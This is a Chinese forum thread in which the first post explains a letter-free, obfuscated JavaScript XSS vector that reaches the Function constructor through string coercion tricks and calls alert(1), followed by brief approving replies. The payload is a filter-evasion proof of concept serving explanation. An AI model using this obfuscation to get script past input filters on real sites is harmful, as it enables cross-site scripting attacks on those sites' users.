卓航论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 879|回复: 6
打印 上一主题 下一主题

无须字母构建XSS向量

[复制链接]
[未点亮至尊红钻]发帖数量不足10篇 [未点亮至尊黄钻]威望不足10点 [未点亮至尊蓝钻]在线时间不足10小时 [未点亮至尊绿钻]贡献度不足10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 新手上路
 UID:  417   [未点亮普号显示]钻石不足3个
 阁 分: 43
 阁 望: 8
 阁 献: 4
 活 跃: 0
 发 贴: 5 (0)
 阁 币: 18  
性 别: I'm Boy
阅读权限: 10
在线时长: 4 小时
注册时间: 2011-1-4
最后登录: 2015-6-20
go
楼主
发表于 2016-10-19 16:43:29 |只看该作者 |倒序浏览
本帖发表于 2016-10-19 16:43:29...阅读 880 人...加油,亲爱的楼主:稀罕你哒小脸
之前我在玩一个XSS游戏的时候突然有了些想法,本着分享的原则,于是便有了这篇文章。在此,我将分享一个此前没有接触过的一个XSS攻击向量。

相同水平的前提下,在攻击向量中不使用任何字母,且必须调用alert(1)。
闲话少说,看这里:
""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()
真是一团糟,我们到底做了些什么呢?接下来容我慢慢给大家道来。
分析
首先从空字符串开始,接下来我们访问括号而不是我们熟悉的点符号的属性。
请注意,在接下来的一分钟我们将构建字符串,不会用到点符号构造字符串名的对象属性,现在切换到括号。
现在我们访问的是什么属性?下面这个就是“字符串”
(!1+"")[3]+(!0+"")[2]+(''+{})[2]
接下来从!1(false)开始,将“”添加到一个non-String值中是一个快速且直接的方法,所以(!1+””)我们得到false
将字符带入索引3中的“false”(结果切好是s),在(!0+””)[2]或者“true”[2]再次尝试,你会得到字母u。最后将字符带入索引2的字符串“[object Object]”中,你会得到字母b。
不使用任何字母,构造一个字符串来访问空字符串对象的“sub”属性,然而sub不仅仅是一个属性,它还是一个函数!
此时此刻,你可能会认为我接下来会通过调用String.sub函数破坏过滤。或许这么做也行,但是我选择更加有深度的做法,函数有什么内置属性?如何构造函数?
如果你打开一个JavaScript控制台,键入“”[“sub”][“constructor”],你看到了什么?为什么得到了Function()函数!似乎我们有事情干了…
给你点提示:这其中有n
((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]
我们有熟悉的“”[“sub”]:
((""["sub"])+"")[2]
向其中增加“”,得到function sub() { [native code] }。将字符带入索引2得到字母n
总结
我们现在得到了相当于Function()的“”[“sub”][“constructor”],调用它我们就可以定义一个函数了。当我们尝试调用alert(1)时,就需要连接更多的“true”和“false”来构建alert字符串,其后在加上+”(1)”。
现在我们调用Function(“alert(1)”),大功告成,现在只需一个调用,返回一个匿名函数就可以实现弹出。
// empty string""// ["sub"][(!1+"")[3]+(!0+"")[2]+(''+{})[2]]// ["constructor"][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]]// ("alert(1)")(((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")// call anonymous function returned by Function()()
本文最开始的Function(“alert(1)”)()确实十分混乱,不使用任何可识别的字符串确实很难辨识。你可以在地址栏键入“javascript:”复制粘贴上面的代码点击回车键进行测试。
我喜欢你能够喜欢JavaScript语言中这种十分隐晦的表达方式,Happy hacking!
分享到: QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏0 支持支持0 反对反对0

使用道具 举报

[至尊红钻2级]发帖数量≥100篇 [未点亮至尊黄钻]威望不足10点 [未点亮至尊蓝钻]在线时间不足10小时 [未点亮至尊绿钻]贡献度不足10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 注册会员
 UID:  33   [未点亮普号显示]钻石不足3个
 阁 分: 127
 阁 望: 6
 阁 献: 3
 活 跃: 0
 发 贴: 111 (0)
 阁 币: 1  
性 别: I'm Boy
阅读权限: 20
在线时长: 3 小时
注册时间: 2011-1-6
最后登录: 2016-10-21
沙发
发表于 2016-10-19 16:44:38 |只看该作者
本回复帖发表于 2016-10-19 16:44:38,感谢nzwennet2011对本帖的认真回复,你的回复是对楼主莫大的鼓舞
沙发!沙发!

使用道具 举报

[至尊红钻2级]发帖数量≥100篇 [未点亮至尊黄钻]威望不足10点 [未点亮至尊蓝钻]在线时间不足10小时 [未点亮至尊绿钻]贡献度不足10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 注册会员
 UID:  211   [未点亮普号显示]钻石不足3个
 阁 分: 147
 阁 望: 4
 阁 献: 2
 活 跃: 0
 发 贴: 128 (0)
 阁 币: 9  
性 别: I'm 火星人!
阅读权限: 20
在线时长: 0 小时
注册时间: 2011-1-5
最后登录: 2016-10-21
板凳
发表于 2016-10-19 20:01:31 |只看该作者
本回复帖发表于 2016-10-19 20:01:31,感谢fqeq2002对本帖的认真回复,你的回复是对楼主莫大的鼓舞
有竞争才有进步嘛

使用道具 举报

[至尊红钻2级]发帖数量≥100篇 [未点亮至尊黄钻]威望不足10点 [未点亮至尊蓝钻]在线时间不足10小时 [至尊绿钻1级]贡献度≥10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 注册会员
 UID:  69   [未点亮普号显示]钻石不足3个
 阁 分: 163
 阁 望: 4
 阁 献: 10
 活 跃: 0
 发 贴: 140 (0)
 阁 币: 5  
性 别: I'm Boy
阅读权限: 20
在线时长: 5 小时
注册时间: 2011-1-6
最后登录: 2016-10-21
地板
发表于 2016-10-19 20:19:36 |只看该作者
本回复帖发表于 2016-10-19 20:19:36,感谢xmvista对本帖的认真回复,你的回复是对楼主莫大的鼓舞
过来看看的

使用道具 举报

[至尊红钻2级]发帖数量≥100篇 [至尊黄钻1级]威望≥10点 [未点亮至尊蓝钻]在线时间不足10小时 [未点亮至尊绿钻]贡献度不足10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 注册会员
 UID:  48   [未点亮普号显示]钻石不足3个
 阁 分: 147
 阁 望: 10
 阁 献: 4
 活 跃: 0
 发 贴: 114 (0)
 阁 币: 9  
性 别: I'm 火星人!
阅读权限: 20
在线时长: 0 小时
注册时间: 2011-1-6
最后登录: 2016-10-21
5#
发表于 2016-10-19 22:55:31 |只看该作者
本回复帖发表于 2016-10-19 22:55:31,感谢liyunde对本帖的认真回复,你的回复是对楼主莫大的鼓舞
路过,支持一下啦

使用道具 举报

[至尊红钻2级]发帖数量≥100篇 [未点亮至尊黄钻]威望不足10点 [未点亮至尊蓝钻]在线时间不足10小时 [至尊绿钻1级]贡献度≥10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 中级会员
 UID:  100   [未点亮普号显示]钻石不足3个
 阁 分: 237
 阁 望: 4
 阁 献: 10
 活 跃: 0
 发 贴: 215 (0)
 阁 币: 4  
性 别: I'm 火星人!
阅读权限: 30
在线时长: 2 小时
注册时间: 2011-1-6
最后登录: 2016-10-21
6#
发表于 2016-10-19 23:14:24 |只看该作者
本回复帖发表于 2016-10-19 23:14:24,感谢uy8jj5tm7tu对本帖的认真回复,你的回复是对楼主莫大的鼓舞
写的真的很不错

使用道具 举报

[至尊红钻2级]发帖数量≥100篇 [未点亮至尊黄钻]威望不足10点 [未点亮至尊蓝钻]在线时间不足10小时 [未点亮至尊绿钻]贡献度不足10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 注册会员
 UID:  68   [未点亮普号显示]钻石不足3个
 阁 分: 144
 阁 望: 1
 阁 献: 2
 活 跃: 0
 发 贴: 130 (0)
 阁 币: 10  
性 别: I'm 火星人!
阅读权限: 20
在线时长: 3 小时
注册时间: 2011-1-6
最后登录: 2016-10-21
7#
发表于 2016-10-19 23:14:47 |只看该作者
本回复帖发表于 2016-10-19 23:14:47,感谢62scjdi125对本帖的认真回复,你的回复是对楼主莫大的鼓舞
不错不错,楼主您辛苦了。。。

使用道具 举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1、请认真发帖,禁止回复纯表情,纯数字等无意义的内容!帖子内容不要太简单!
2、提倡文明上网,净化网络环境!抵制低俗不良违法有害信息。
3、每个贴内连续回复请勿多余3贴,每个版面回复请勿多余10贴!
4、如果你对主帖作者的帖子不屑一顾的话,请勿回帖。谢谢合作!

手机版| 百度搜索:vkee.pw

2012-2015 卓航旗下 GMT+8, 2024-6-16 12:25 , Processed in 4.538093 second(s), 31 queries . Powered by Discuz! X3.2  

禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.如遇版权问题,请及时联系站长(QQ:5213513)

今天是: | 本站已经安全运行: //这个地方可以改颜色

快速回复 返回顶部 返回列表